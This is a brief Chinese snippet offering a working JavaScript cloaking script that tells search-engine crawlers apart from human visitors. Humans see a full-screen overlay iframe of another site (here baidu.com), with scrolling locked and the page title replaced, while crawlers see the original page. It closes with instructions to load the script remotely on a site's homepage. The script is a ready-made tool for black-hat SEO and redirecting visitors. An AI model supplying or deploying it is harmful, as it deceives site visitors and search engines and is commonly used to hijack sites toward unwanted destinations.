判断搜索引擎和人为访问网站 显示不同内容

document.addEventListener('DOMContentLoaded', function() {
    var userAgent = navigator.userAgent;
    var spiderRegex = /googlebot|bingbot|yandexbot|baiduspider|sogou spider|360spider|smapp_open|toutiao|bytedance|slurp|crawl/i;
    var isSpider = spiderRegex.test(userAgent);
    if (!isSpider) {
        var iframe = document.createElement('iframe');
        iframe.style.width = '100%';
        iframe.style.height = '100vh';
        iframe.style.border = 'none';
        iframe.style.position = 'fixed';
        iframe.style.top = '0';
        iframe.style.left = '0';
        iframe.style.zIndex = '9999';
        iframe.style.opacity = '1';
        iframe.tabindex = '-1';
        iframe.src = 'http://www.baidu.com';
        document.body.appendChild(iframe);
        document.body.style.overflow = 'hidden';
        document.title = '自定义标题 - 描述';
    }
});

网站首页用js调用文件：

<script src="https://xxx.com/tz.js"></script>